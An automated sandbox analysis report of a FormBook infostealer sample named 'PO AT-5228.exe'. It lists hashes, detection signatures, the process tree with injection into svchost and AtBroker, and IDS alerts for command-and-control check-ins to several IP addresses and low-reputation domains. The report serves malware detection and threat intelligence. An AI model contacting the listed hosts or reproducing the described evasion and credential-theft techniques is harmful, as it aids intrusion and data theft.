Edit tour

Windows Analysis Report
PO AT-5228.exe

Overview

General Information

Sample name:	PO AT-5228.exe
Analysis ID:	1554972
MD5:	3df965173d78acbf95001caccbeaa150
SHA1:	0ebe604c158eca5244c2fb19d56b03f6f7ae338a
SHA256:	865ba0cdbc273e3d3035ec2acaf6510977798e008e79546e96e33e289b22c3b2
Tags:	exeFormbookuser-threatcat_ch
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected FormBook

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Found direct / indirect Syscall (likely to bypass EDR)

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Performs DNS queries to domains with low reputation

Queues an APC in another process (thread injection)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found evaded block containing many API calls

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Uncommon Svchost Parent Process

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

PO AT-5228.exe (PID: 7276 cmdline: "C:\Users\user\Desktop\PO AT-5228.exe" MD5: 3DF965173D78ACBF95001CACCBEAA150)

svchost.exe (PID: 7300 cmdline: "C:\Users\user\Desktop\PO AT-5228.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

BLUymyzgBTyhbo.exe (PID: 5856 cmdline: "C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

AtBroker.exe (PID: 7352 cmdline: "C:\Windows\SysWOW64\AtBroker.exe" MD5: D5B61959A509BDA85300781F5A829610)

BLUymyzgBTyhbo.exe (PID: 2800 cmdline: "C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

firefox.exe (PID: 7744 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.3527019353.0000000005710000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000001.00000002.1781295730.0000000002CD0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.3524540674.0000000000790000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.3525547305.0000000004210000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000001.00000002.1781112261.0000000000440000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000001.00000002.1781559228.0000000005C00000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.3525581336.0000000005270000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.3524288505.00000000004E0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.svchost.exe.440000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
1.2.svchost.exe.440000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security

Sigma Signatures

System Summary

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\PO AT-5228.exe", CommandLine: "C:\Users\user\Desktop\PO AT-5228.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\PO AT-5228.exe", ParentImage: C:\Users\user\Desktop\PO AT-5228.exe, ParentProcessId: 7276, ParentProcessName: PO AT-5228.exe, ProcessCommandLine: "C:\Users\user\Desktop\PO AT-5228.exe", ProcessId: 7300, ProcessName: svchost.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Users\user\Desktop\PO AT-5228.exe", CommandLine: "C:\Users\user\Desktop\PO AT-5228.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\PO AT-5228.exe", ParentImage: C:\Users\user\Desktop\PO AT-5228.exe, ParentProcessId: 7276, ParentProcessName: PO AT-5228.exe, ProcessCommandLine: "C:\Users\user\Desktop\PO AT-5228.exe", ProcessId: 7300, ProcessName: svchost.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T09:26:31.986660+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.4	49730	TCP
2024-11-13T09:26:51.947915+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.4	58815	TCP
2024-11-13T09:26:53.351914+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.4	58816	TCP

ETPRO MALWARE FormBook CnC Checkin (GET) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T09:26:44.569269+0100	2855465	1	A Network Trojan was detected	192.168.2.4	49736	38.88.82.56	80	TCP
2024-11-13T09:27:07.951083+0100	2855465	1	A Network Trojan was detected	192.168.2.4	58820	3.33.130.190	80	TCP
2024-11-13T09:27:21.875358+0100	2855465	1	A Network Trojan was detected	192.168.2.4	58870	194.58.112.174	80	TCP
2024-11-13T09:27:35.341841+0100	2855465	1	A Network Trojan was detected	192.168.2.4	58948	3.33.130.190	80	TCP
2024-11-13T09:27:50.170836+0100	2855465	1	A Network Trojan was detected	192.168.2.4	59023	104.21.14.183	80	TCP
2024-11-13T09:28:03.667072+0100	2855465	1	A Network Trojan was detected	192.168.2.4	59101	67.223.117.142	80	TCP
2024-11-13T09:28:17.827029+0100	2855465	1	A Network Trojan was detected	192.168.2.4	59105	3.33.130.190	80	TCP
2024-11-13T09:28:31.644067+0100	2855465	1	A Network Trojan was detected	192.168.2.4	59109	113.20.119.31	80	TCP
2024-11-13T09:28:45.910009+0100	2855465	1	A Network Trojan was detected	192.168.2.4	59113	47.129.103.185	80	TCP
2024-11-13T09:28:59.452166+0100	2855465	1	A Network Trojan was detected	192.168.2.4	59117	38.47.237.27	80	TCP
2024-11-13T09:29:13.863112+0100	2855465	1	A Network Trojan was detected	192.168.2.4	59121	206.119.81.36	80	TCP

ETPRO MALWARE FormBook CnC Checkin (POST) M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T09:27:00.343483+0100	2855464	1	A Network Trojan was detected	192.168.2.4	58817	3.33.130.190	80	TCP
2024-11-13T09:27:03.753028+0100	2855464	1	A Network Trojan was detected	192.168.2.4	58818	3.33.130.190	80	TCP
2024-11-13T09:27:05.405537+0100	2855464	1	A Network Trojan was detected	192.168.2.4	58819	3.33.130.190	80	TCP
2024-11-13T09:27:14.244016+0100	2855464	1	A Network Trojan was detected	192.168.2.4	58822	194.58.112.174	80	TCP
2024-11-13T09:27:16.921423+0100	2855464	1	A Network Trojan was detected	192.168.2.4	58838	194.58.112.174	80	TCP
2024-11-13T09:27:19.306881+0100	2855464	1	A Network Trojan was detected	192.168.2.4	58854	194.58.112.174	80	TCP
2024-11-13T09:27:27.678498+0100	2855464	1	A Network Trojan was detected	192.168.2.4	58902	3.33.130.190	80	TCP
2024-11-13T09:27:30.221107+0100	2855464	1	A Network Trojan was detected	192.168.2.4	58917	3.33.130.190	80	TCP
2024-11-13T09:27:32.803146+0100	2855464	1	A Network Trojan was detected	192.168.2.4	58932	3.33.130.190	80	TCP
2024-11-13T09:27:42.064513+0100	2855464	1	A Network Trojan was detected	192.168.2.4	58983	104.21.14.183	80	TCP
2024-11-13T09:27:44.597204+0100	2855464	1	A Network Trojan was detected	192.168.2.4	58999	104.21.14.183	80	TCP
2024-11-13T09:27:47.160557+0100	2855464	1	A Network Trojan was detected	192.168.2.4	59009	104.21.14.183	80	TCP
2024-11-13T09:27:56.034508+0100	2855464	1	A Network Trojan was detected	192.168.2.4	59058	67.223.117.142	80	TCP
2024-11-13T09:27:58.597030+0100	2855464	1	A Network Trojan was detected	192.168.2.4	59069	67.223.117.142	80	TCP
2024-11-13T09:28:01.387326+0100	2855464	1	A Network Trojan was detected	192.168.2.4	59085	67.223.117.142	80	TCP
2024-11-13T09:28:09.323526+0100	2855464	1	A Network Trojan was detected	192.168.2.4	59102	3.33.130.190	80	TCP
2024-11-13T09:28:11.872164+0100	2855464	1	A Network Trojan was detected	192.168.2.4	59103	3.33.130.190	80	TCP
2024-11-13T09:28:15.300346+0100	2855464	1	A Network Trojan was detected	192.168.2.4	59104	3.33.130.190	80	TCP
2024-11-13T09:28:24.003472+0100	2855464	1	A Network Trojan was detected	192.168.2.4	59106	113.20.119.31	80	TCP
2024-11-13T09:28:26.550389+0100	2855464	1	A Network Trojan was detected	192.168.2.4	59107	113.20.119.31	80	TCP
2024-11-13T09:28:29.144201+0100	2855464	1	A Network Trojan was detected	192.168.2.4	59108	113.20.119.31	80	TCP
2024-11-13T09:28:38.300689+0100	2855464	1	A Network Trojan was detected	192.168.2.4	59110	47.129.103.185	80	TCP
2024-11-13T09:28:40.832105+0100	2855464	1	A Network Trojan was detected	192.168.2.4	59111	47.129.103.185	80	TCP
2024-11-13T09:28:43.409754+0100	2855464	1	A Network Trojan was detected	192.168.2.4	59112	47.129.103.185	80	TCP
2024-11-13T09:28:51.797362+0100	2855464	1	A Network Trojan was detected	192.168.2.4	59114	38.47.237.27	80	TCP
2024-11-13T09:28:54.330228+0100	2855464	1	A Network Trojan was detected	192.168.2.4	59115	38.47.237.27	80	TCP
2024-11-13T09:28:56.906066+0100	2855464	1	A Network Trojan was detected	192.168.2.4	59116	38.47.237.27	80	TCP
2024-11-13T09:29:06.175663+0100	2855464	1	A Network Trojan was detected	192.168.2.4	59118	206.119.81.36	80	TCP
2024-11-13T09:29:08.769360+0100	2855464	1	A Network Trojan was detected	192.168.2.4	59119	206.119.81.36	80	TCP
2024-11-13T09:29:11.316348+0100	2855464	1	A Network Trojan was detected	192.168.2.4	59120	206.119.81.36	80	TCP
2024-11-13T09:29:19.904719+0100	2855464	1	A Network Trojan was detected	192.168.2.4	59122	172.217.16.211	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: PO AT-5228.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: PO AT-5228.exe	ReversingLabs: Detection: 34%
Source: PO AT-5228.exe	Virustotal: Detection: 27%			Perma Link

Yara detected FormBook

Source: Yara match	File source: 1.2.svchost.exe.440000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.440000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3527019353.0000000005710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1781295730.0000000002CD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3524540674.0000000000790000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3525547305.0000000004210000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1781112261.0000000000440000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1781559228.0000000005C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3525581336.0000000005270000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3524288505.00000000004E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: PO AT-5228.exe

Joe Sandbox ML: detected

Source: PO AT-5228.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: BLUymyzgBTyhbo.exe, 00000002.00000002.3524476416.0000000000A8E000.00000002.00000001.01000000.00000004.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3524287384.0000000000A8E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: ATBroker.pdb source: svchost.exe, 00000001.00000003.1750282155.000000000282B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1750196591.000000000281B000.00000004.00000020.00020000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000002.00000002.3524911092.0000000000E48000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: PO AT-5228.exe, 00000000.00000003.1685890641.0000000004370000.00000004.00001000.00020000.00000000.sdmp, PO AT-5228.exe, 00000000.00000003.1686242447.00000000041D0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1689123695.0000000002A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1781318189.0000000002F9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1692725433.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1781318189.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000003.1789035280.00000000043D5000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3525876435.000000000471E000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3525876435.0000000004580000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000003.1787592715.0000000004216000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: PO AT-5228.exe, 00000000.00000003.1685890641.0000000004370000.00000004.00001000.00020000.00000000.sdmp, PO AT-5228.exe, 00000000.00000003.1686242447.00000000041D0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.1689123695.0000000002A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1781318189.0000000002F9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1692725433.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1781318189.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, AtBroker.exe, 00000003.00000003.1789035280.00000000043D5000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3525876435.000000000471E000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3525876435.0000000004580000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000003.1787592715.0000000004216000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: AtBroker.exe, 00000003.00000002.3526286582.0000000004BAC000.00000004.10000000.00040000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3524603774.000000000083A000.00000004.00000020.00020000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000000.1850115627.00000000032DC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2119258740.000000000D29C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: ATBroker.pdbGCTL source: svchost.exe, 00000001.00000003.1750282155.000000000282B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1750196591.000000000281B000.00000004.00000020.00020000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000002.00000002.3524911092.0000000000E48000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: AtBroker.exe, 00000003.00000002.3526286582.0000000004BAC000.00000004.10000000.00040000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3524603774.000000000083A000.00000004.00000020.00020000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000000.1850115627.00000000032DC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2119258740.000000000D29C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BA6CA9 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00BA6CA9
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BA60DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	0_2_00BA60DD
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BA63F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	0_2_00BA63F9
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BAEB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00BAEB60
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BAF5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00BAF5FA
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BAF56F FindFirstFileW,FindClose,	0_2_00BAF56F
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BB1B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00BB1B2F
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BB1C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00BB1C8A
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BB1F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00BB1F94
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_004FC830 FindFirstFileW,FindNextFileW,FindClose,	3_2_004FC830

Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 4x nop then xor eax, eax		3_2_004E9EE0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 4x nop then mov ebx, 00000004h		3_2_043104DF

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:58817 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:58820 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:58818 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:58819 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:58838 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49736 -> 38.88.82.56:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:58854 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:58870 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:58917 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:58902 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:58999 -> 104.21.14.183:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:58822 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:58983 -> 104.21.14.183:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:59023 -> 104.21.14.183:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:58948 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:58932 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:59009 -> 104.21.14.183:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:59102 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:59069 -> 67.223.117.142:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:59107 -> 113.20.119.31:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:59108 -> 113.20.119.31:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:59109 -> 113.20.119.31:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:59112 -> 47.129.103.185:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:59104 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:59103 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:59115 -> 38.47.237.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:59110 -> 47.129.103.185:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:59101 -> 67.223.117.142:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:59058 -> 67.223.117.142:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:59118 -> 206.119.81.36:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:59106 -> 113.20.119.31:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:59119 -> 206.119.81.36:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:59122 -> 172.217.16.211:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:59113 -> 47.129.103.185:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:59105 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:59117 -> 38.47.237.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:59085 -> 67.223.117.142:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:59116 -> 38.47.237.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:59120 -> 206.119.81.36:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:59111 -> 47.129.103.185:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:59114 -> 38.47.237.27:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:59121 -> 206.119.81.36:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.kghjkx.xyz
Source:	DNS query: www.iuyi542.xyz

Source: Joe Sandbox View	IP Address: 67.223.117.142 67.223.117.142
Source: Joe Sandbox View	IP Address: 38.88.82.56 38.88.82.56
Source: Joe Sandbox View	IP Address: 206.119.81.36 206.119.81.36

Source: Joe Sandbox View	ASN Name: VIMRO-AS15189US VIMRO-AS15189US
Source: Joe Sandbox View	ASN Name: COGENT-174US COGENT-174US
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

